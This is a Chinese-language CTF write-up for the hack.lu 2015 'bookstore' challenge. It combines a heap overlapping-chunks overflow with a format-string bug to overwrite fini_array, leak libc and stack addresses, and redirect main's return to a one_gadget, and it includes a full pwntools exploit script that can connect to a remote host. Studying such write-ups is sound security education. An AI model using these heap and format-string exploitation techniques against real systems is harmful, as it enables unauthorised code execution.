overlapping chunks#
溢出对unsortedbin中的chunk->size
进行修改,造成堆块重叠。
hack.lu2015 bookstore#
1
2
3
4
5
| Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
|
程序是一个订书系统,在main函数开始处,连续分配3个0x80的空间,一个存储订单1——order1,一个存储订单2——order2,一个存储提示信息——info。有以下功能菜单
1
2
3
4
5
| 1: Edit order 1
2: Edit order 2
3: Delete order 1
4: Delete order 2
5: Submit
|
Edit order 1/2:order1/order2使用fgetc读取字符串,读到\n
终止,所以这里存在溢出
Delete order 1/2:free掉order1/order2。这里存在指针悬空
Submit: 分配0x140的空间(称为orderlist)将order1和order2拼接。这里存在溢出
程序末尾printf(info)
存在可能的格式化字符串漏洞。
总体思路:释放order2,溢出order1修改order2chunk->size = 0x151
。并在order1上布置format string,以泄露libc和stack addr,和修改fini_array为start的地址。第二次format string修改main函数返回地址为one_gadget。
fini_array存储main函数结束后将要执行的函数地址,一般修改为main函数来达到再运行一次的目的。这里我修改为start也可以达到此效果,原本想达到main函数循环执行的效果,可是没有如我的心愿。。。
phase 1#
溢出修改unsortedbin中的order2的大小为0x151后,再分配0x140的orderlist,将会出现下图的情况。要想办法将format string精准控制在info开始处。
submit函数中,连接order1后,orderlist1 = "Order 1: " + XXXXXXXX
;order2指针悬空,和现在的orderlist指向的地址相同,所以连接order2将出现 orderlist = "Order 1: " + XXXXXX + "\nOrder 2: " + orderlist1
。其中长度为9的字符串Order 1:
出现了两次,长度为10的字符串\nOrder 2:
出现了一次,故该函数额外向orderlist中填充了28个字节。
1
2
3
4
5
6
7
8
9
| # phase 1
menu(b'4')
# format string: overwrite fini_arrary with start, leak libc and stack
payload = b"%1920x%13$hn...%14$s,,,%28$llx".ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
menu(b"1")
io.sendline(payload)
# gdb.attach(io, "b *0x400B09")
menu(b"5" + p8(0x1)*7 + p64(fini_array) + p64(puts_got))
|
%1920x%13$hn
,使用start地址0x400780,双字节覆盖fini_array,13$
取第13个参数,hn
控制写入双字节。
%14$s
,打印puts_got。
%28$llx
,打印stack地址。多次调试可以发现,main函数rbp-0x10
处,存在一个与栈地址固定偏移0xf0的栈地址,应该为此前函数遗留。
利用fgets将这些参数传到栈上。
phase 2#
调试到第二轮次,计算此前泄露的栈地址与此次main函数返回地址偏移。
将one_gadget地址的低四字节,写到返回地址处,一次一个字节。因为双字节有偶发性printf崩溃,应该是打印长度过长了。(我这里使用的自编译的glibc2.26 without tcache)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| one_gadget = libc_base + 0x40d82
log.debug("one gadget: 0x%x" % one_gadget)
p1 = one_gadget & 0xff
p2 = (one_gadget>>8) & 0xff
p3 = (one_gadget>>16) & 0xff
p4 = (one_gadget>>24) & 0xff
part1 = p1
part2 = p2-p1 if p2 > p1 else 256-p1+p2
part3 = p3-p2 if p3 > p2 else 256-p2+p3
part4 = p4-p3 if p4 > p3 else 256-p3+p4
menu(b"4")
payload = b"%" + str(part1).encode("ascii") + b"x%13$hhn%" + str(part2).encode("ascii") + b"x%14$hhn"
payload += b"%" + str(part3).encode("ascii") + b"x%15$hhn%" + str(part4).encode("ascii") + b"x%16$hhn"
payload = payload.ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
menu(b"1")
io.sendline(payload)
# gdb.attach(io, "b *0x400B09")
menu(b"5" + p8(0x1)*7 + p64(ret_addr) + p64(ret_addr+1) + p64(ret_addr+2) + p64(ret_addr+3))
|
exploit
关于fini_array#
LIBC_START_MAIN
函数在执行完main函数后,执行exit->__run_exit_handlers
,在__run_exit_handlers
中调用__call_tls_dtors
函数和__exit_funcs
函数列表,该列表默认情况下只有dl_fini
。结构如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| struct exit_function
{
/* `flavour' should be of type of the `enum' above but since we need
this element in an atomic operation we have to use `long int'. */
long int flavor;
union
{
void (*at) (void);
struct
{
void (*fn) (int status, void *arg);
void *arg;
} on;
struct
{
void (*fn) (void *arg, int status);
void *arg;
void *dso_handle;
} cxa;
} func;
};
struct exit_function_list
{
struct exit_function_list *next;
size_t idx;
struct exit_function fns[32];
};
|
其中idx在第一次遍历此列表时就变为0了,而且就算再将该值改为1,也不会再执行fini_array
里的函数。后面再dl_fini
里面也貌似有个防范多次执行的变量,可是这块过于复杂了对于我,再看下去势必要花不少时间且偏离方向了,日后再说吧。。。
1
2
3
4
5
6
7
| // glibc release/2.26/master elf/dl-fini.c _dl_fini(void)
if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;
...
|
struct exit_function
里存储的指针也经过了指针加密?。
exploit#
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
| #!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="info")
localfile = "./bookstore"
locallibc = "../glibc_versions/2.26/x64_notcache/lib/libc-2.26.so"
def menu(s):
io.recvuntil("5: Submit\n")
io.sendline(s)
def exp():
fini_array = 0x6011B8
puts_got = elf.got["puts"]
free_got = elf.got["free"]
# phase 1
menu(b'4')
# format string: overwrite fini_arrary with start, leak libc and stack
payload = b"%1920x%13$hn...%14$s,,,%28$llx".ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
menu(b"1")
io.sendline(payload)
# gdb.attach(io, "b *0x400B09")
menu(b"5" + p8(0x1)*7 + p64(fini_array) + p64(puts_got))
# leak libc and stack
io.recvuntil(b"...")
io.recvuntil(b"...")
io.recvuntil(b"...")
puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
io.recvuntil(b",,,")
stack_addr = int(io.recv(12), 16)
ret_addr = stack_addr - 0x288
libc_base = puts_addr - libc.sym["puts"]
#########################################################
# fail when part1 + part2 is too big (possible reason...
#########################################################
# one_gadget = libc_base + 0x40d82
# part1 = one_gadget % (1<<16)
# part2 = (one_gadget>>16) % (1<<16)
# log.debug("0x%x" % part1)
# log.debug("0x%x" % part2)
# if part2 > part1:
# part2 = part2 - part1
# else:
# part2 = part2 + ((1<<16)-part1)
# log.debug("0x%x" % part1)
# log.debug("0x%x" % part2)
# log.debug("ret addr: 0x%x" % ret_addr)
# log.debug("one gadget: 0x%x" % one_gadget)
# # phase 2
# menu(b'4')
# payload = b"%" + str(part1).encode("ascii") + b"x%13$hn" + b"%" + str(part2).encode("ascii") + b"x%14$hn"
# payload = payload.ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
# menu(b"1")
# io.sendline(payload)
# # gdb.attach(io, "b *0x400B09")
# menu(b"5" + p8(0x1)*7 + p64(ret_addr) + p64(ret_addr+2))
one_gadget = libc_base + 0x40d82
log.debug("one gadget: 0x%x" % one_gadget)
p1 = one_gadget & 0xff
p2 = (one_gadget>>8) & 0xff
p3 = (one_gadget>>16) & 0xff
p4 = (one_gadget>>24) & 0xff
part1 = p1
part2 = p2-p1 if p2 > p1 else 256-p1+p2
part3 = p3-p2 if p3 > p2 else 256-p2+p3
part4 = p4-p3 if p4 > p3 else 256-p3+p4
menu(b"4")
payload = b"%" + str(part1).encode("ascii") + b"x%13$hhn%" + str(part2).encode("ascii") + b"x%14$hhn"
payload += b"%" + str(part3).encode("ascii") + b"x%15$hhn%" + str(part4).encode("ascii") + b"x%16$hhn"
payload = payload.ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
menu(b"1")
io.sendline(payload)
# gdb.attach(io, "b *0x400B09")
menu(b"5" + p8(0x1)*7 + p64(ret_addr) + p64(ret_addr+1) + p64(ret_addr+2) + p64(ret_addr+3))
io.interactive()
argc = len(sys.argv)
if argc == 1:
io = process(localfile)
else:
if argc == 2:
host, port = sys.argv[1].split(":")
elif argc == 3:
host = sys.argv[1]
port = sys.argv[2]
io = remote(host, port)
elf = ELF(localfile)
libc = ELF(locallibc)
exp()
|
Reference#
- how2heap overlapping chunks
- https://bbs.pediy.com/thread-246783.htm